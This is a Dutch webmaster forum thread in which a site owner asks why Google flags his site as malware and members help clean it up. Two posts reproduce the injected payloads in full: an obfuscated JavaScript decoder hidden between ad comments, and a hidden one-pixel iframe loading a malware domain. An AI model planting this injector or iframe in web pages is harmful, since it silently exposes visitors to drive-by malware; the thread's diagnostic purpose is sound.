Vermoedelijke Malware-site

**Quinten Teunissen** · 07-12-2010, 23:01

Beste,

Mijn website (www.graagspele.nl) geeft sinds vandaag aan dat het een vermoedelijke Malware-site is.
Via mijn webmastertool laat die niet duidelijk zien wat er is, en als ik een virusscanner over de huidige website bestanden laat gaan geeft die ook niet.

Wie weet wat ik nu moet doen?

Alvast bedankt voor de moeite!

Quinten

**S. van Laere** · 07-12-2010, 23:05

Enige verdachte wat ik zie staan staat tussen je  commentaarregels en bestaat uit javascript. Wat het doet weet ik niet, ga ik ook niet uitproberen..

**Quinten Teunissen** · 08-12-2010, 22:51

Weet iemand wat ik het beste kan doen?

**Levy VL** · 08-12-2010, 22:52

Hebt u onlangs iets veranderd aan u website ?

**Marvin Middenwaard** · 08-12-2010, 22:52

Het stuk dat S. Van Laere vermeldde uit je broncode verwijderen?

**Mark Kalfsbeek** · 08-12-2010, 22:54

je bestanden zijn voorzien van javascript codes die veroorzaken dit. Waarschijnlijk ergens een lekje

**Quinten Teunissen** · 08-12-2010, 23:06

Dit zegt overigens de Webmaster Tool : De laatste keer dat Google deze pagina testte, retourneerde uw server inhoud waarmee de browser werd omgeleid naar een site met malware. Helaas kon Google de schadelijke code op deze pagina niet isoleren.

**SleemanH** · 08-12-2010, 23:09

Check in je ftp of een van de bestanden recent zijn gewijzigd...

**Niek A.** · 08-12-2010, 23:13

FTP pass veranderen, en al je files opnieuw erop gooien. Misschien ook een mailtje sturen naar je hoster.

**Tim van den Belt** · 08-12-2010, 23:15

De website op www.graagspele.nl bevat elementen van de site bavanolaf.com die mogelijk malware host.

Edit: Bij het bezoeken wordt Java opgestart bij mij.
Edit:

Code:

<!-- ad --><script> 
var xc50abe1599df70={r88995756542:function(r328e7cee){var j5d805a23=String,o5128c=r328e7cee.substr(2,3)-680,n05d6b1b,t8862c88;r328e7cee=r328e7cee.substr(5);var h6db08=this.cd1965ce(r328e7cee);for(var xa7073c=0;xa7073c<h6db08;xa7073c++){try{throw(p325ad=r328e7cee.substr(xa7073c,1));}catch(e){p325ad=e;};if(p325ad=='~'){o5128c="";xa7073c++;e45458a=r328e7cee.substr(xa7073c,1);while(this.r45becac(e45458a)){o5128c+=e45458a;xa7073c++;e45458a=this.nc3052(r328e7cee,xa7073c);}o5128c-=568;continue;}n05d6b1b="";if(p325ad=='®'){xa7073c++;p325ad=r328e7cee.substr(xa7073c,1);while(p325ad!='®'){n05d6b1b+=p325ad;xa7073c++;p325ad=r328e7cee.substr(xa7073c,1);}n05d6b1b=this.d40e90(n05d6b1b,o5128c,10);if(n05d6b1b<0)n05d6b1b+=256;if(n05d6b1b>=192)n05d6b1b+=848;else if(n05d6b1b==168)n05d6b1b=1025;else if(n05d6b1b==184)n05d6b1b=1105;document.write(j5d805a23["fr\x6f\x6dC\x68\x61\x72\x43od\x65"](n05d6b1b));continue;}he97f7=(p325ad+'')["\x63harC\x6fd\x65At"](0);if(he97f7>848)he97f7-=848;t8862c88=he97f7-o5128c-10;if(t8862c88<0)t8862c88+=256;if(t8862c88>=192)t8862c88+=848;else if(t8862c88==168)t8862c88=1025;else if(t8862c88==184)t8862c88=1105;document.write(this.qe2d875b(t8862c88));}},cd1965ce:function(u66ea55){return u66ea55.length;},nc3052:function(fdf074cda,v4d816d){return fdf074cda.substr(v4d816d,1);},r45becac:function(t9f22e7){return t9f22e7!='~';},d40e90:function(n25700042,qb8861,n5f307){return n25700042-qb8861-n5f307;},qe2d875b:function(c7b501){var j5d805a23=String;return j5d805a23["fr\x6f\x6dC\x68\x61\x72\x43od\x65"](c7b501);},g53145:function(){return "4f723q~727~®18®®15®~612~®168®~590~®129®®141®®133®@~684~®241®®240®®225®®187®®160®®230®~638~®196®®196®®192®®138®®127®~714~®203®®254®®253®®18®®253®~732~®28®®29®®26®®15®®20®®220®~739~®24®$\"®228®*~746~560%®237®~711~®8®®203®®200®®12®~609~®155®i®171®®150®®159®~590~P®134®YN®144®®136®®144®~634~®139®®191®®137®~595~]®136®^®139®U^X~655~®199®®153®~668~®160®®167®~617~l®161®®159®~612~g®154®h~670~®211®®162®®209®®209®®169®®162®®169®~707~®250®~731~®227®®227®®221®~747~!®31®®31®®32®®223®~683~®157®®244®®230®~740~®26®~680~®238®®226®~653~®156®®129®®144®~624~d~580~6®126®®123®®127®~745~\"#/®248®®221®~621~p~651~®127®®125®®195®®207®®190®®202®~701~®244®®241®®254®~707~®7®®249®®250®®7®®210®®183®®197®®183®®211®~608~na®155®~746~\".~755~&~610~®161®®153®r";}};xc50abe1599df70.r88995756542(xc50abe1599df70.g53145());
</script><!-- /ad -->

De schadelijke code.
Als ik mij niet vergis:
Byte code.

Groeten,
Tim

**Quinten Teunissen** · 08-12-2010, 23:16

Origineel gepost door Sulejman H

Check in je ftp of een van de bestanden recent zijn gewijzigd...

Kan ik nu niet doen omdat ik helaas gister alle bestanden opnieuw heb upgeload.

**Kilian S** · 08-12-2010, 23:27

FTP wachtwoord wijzigen, alle bestanden weer opnieuw uploaden en je hoster informeren hierover, vaker last van gehad, vooral bij kleine hostingpartijen...

**Quinten Teunissen** · 08-12-2010, 23:33

Origineel gepost door Tim van den Belt

Edit: Bij het bezoeken wordt Java opgestart bij mij.
Edit:

Code:

<!-- ad --><script> 
var xc50abe1599df70={r88995756542:function(r328e7cee){var j5d805a23=String,o5128c=r328e7cee.substr(2,3)-680,n05d6b1b,t8862c88;r328e7cee=r328e7cee.substr(5);var h6db08=this.cd1965ce(r328e7cee);for(var xa7073c=0;xa7073c<h6db08;xa7073c++){try{throw(p325ad=r328e7cee.substr(xa7073c,1));}catch(e){p325ad=e;};if(p325ad=='~'){o5128c="";xa7073c++;e45458a=r328e7cee.substr(xa7073c,1);while(this.r45becac(e45458a)){o5128c+=e45458a;xa7073c++;e45458a=this.nc3052(r328e7cee,xa7073c);}o5128c-=568;continue;}n05d6b1b="";if(p325ad=='®'){xa7073c++;p325ad=r328e7cee.substr(xa7073c,1);while(p325ad!='®'){n05d6b1b+=p325ad;xa7073c++;p325ad=r328e7cee.substr(xa7073c,1);}n05d6b1b=this.d40e90(n05d6b1b,o5128c,10);if(n05d6b1b<0)n05d6b1b+=256;if(n05d6b1b>=192)n05d6b1b+=848;else if(n05d6b1b==168)n05d6b1b=1025;else if(n05d6b1b==184)n05d6b1b=1105;document.write(j5d805a23["fr\x6f\x6dC\x68\x61\x72\x43od\x65"](n05d6b1b));continue;}he97f7=(p325ad+'')["\x63harC\x6fd\x65At"](0);if(he97f7>848)he97f7-=848;t8862c88=he97f7-o5128c-10;if(t8862c88<0)t8862c88+=256;if(t8862c88>=192)t8862c88+=848;else if(t8862c88==168)t8862c88=1025;else if(t8862c88==184)t8862c88=1105;document.write(this.qe2d875b(t8862c88));}},cd1965ce:function(u66ea55){return u66ea55.length;},nc3052:function(fdf074cda,v4d816d){return fdf074cda.substr(v4d816d,1);},r45becac:function(t9f22e7){return t9f22e7!='~';},d40e90:function(n25700042,qb8861,n5f307){return n25700042-qb8861-n5f307;},qe2d875b:function(c7b501){var j5d805a23=String;return j5d805a23["fr\x6f\x6dC\x68\x61\x72\x43od\x65"](c7b501);},g53145:function(){return "4f723q~727~®18®®15®~612~®168®~590~®129®®141®®133®@~684~®241®®240®®225®®187®®160®®230®~638~®196®®196®®192®®138®®127®~714~®203®®254®®253®®18®®253®~732~®28®®29®®26®®15®®20®®220®~739~®24®$\"®228®*~746~560%®237®~711~®8®®203®®200®®12®~609~®155®i®171®®150®®159®~590~P®134®YN®144®®136®®144®~634~®139®®191®®137®~595~]®136®^®139®U^X~655~®199®®153®~668~®160®®167®~617~l®161®®159®~612~g®154®h~670~®211®®162®®209®®209®®169®®162®®169®~707~®250®~731~®227®®227®®221®~747~!®31®®31®®32®®223®~683~®157®®244®®230®~740~®26®~680~®238®®226®~653~®156®®129®®144®~624~d~580~6®126®®123®®127®~745~\"#/®248®®221®~621~p~651~®127®®125®®195®®207®®190®®202®~701~®244®®241®®254®~707~®7®®249®®250®®7®®210®®183®®197®®183®®211®~608~na®155®~746~\".~755~&~610~®161®®153®r";}};xc50abe1599df70.r88995756542(xc50abe1599df70.g53145());
</script><!-- /ad -->

De schadelijke code.
Als ik mij niet vergis:
Byte code.

Groeten,
Tim

Dankje Tim,

Heb de code gelijk verwijderd!

Met Vriendelijke Groeten,

Quinten

**N. Kaag** · 08-12-2010, 23:34

Hier is je malware:
<iframe height="1" frameborder="0" width="1" src="http://bavanolaf.com/uyzti1o2/sh6xcl0f9.php?"></iframe>

Komt waarschijnlijk voor in vrijwel alle index.html en index.php files, en ook in .htaccess files kan het zitten.

Voor 100 euro kan ik het vanavond nog voor je oplossen.
Met Vriendelijke Groet,
Nico Kaag

**Franck A** · 08-12-2010, 23:40

Zozo dat is geen geld voor wat regeltjes verwijderen...

Vermoedelijke Malware-site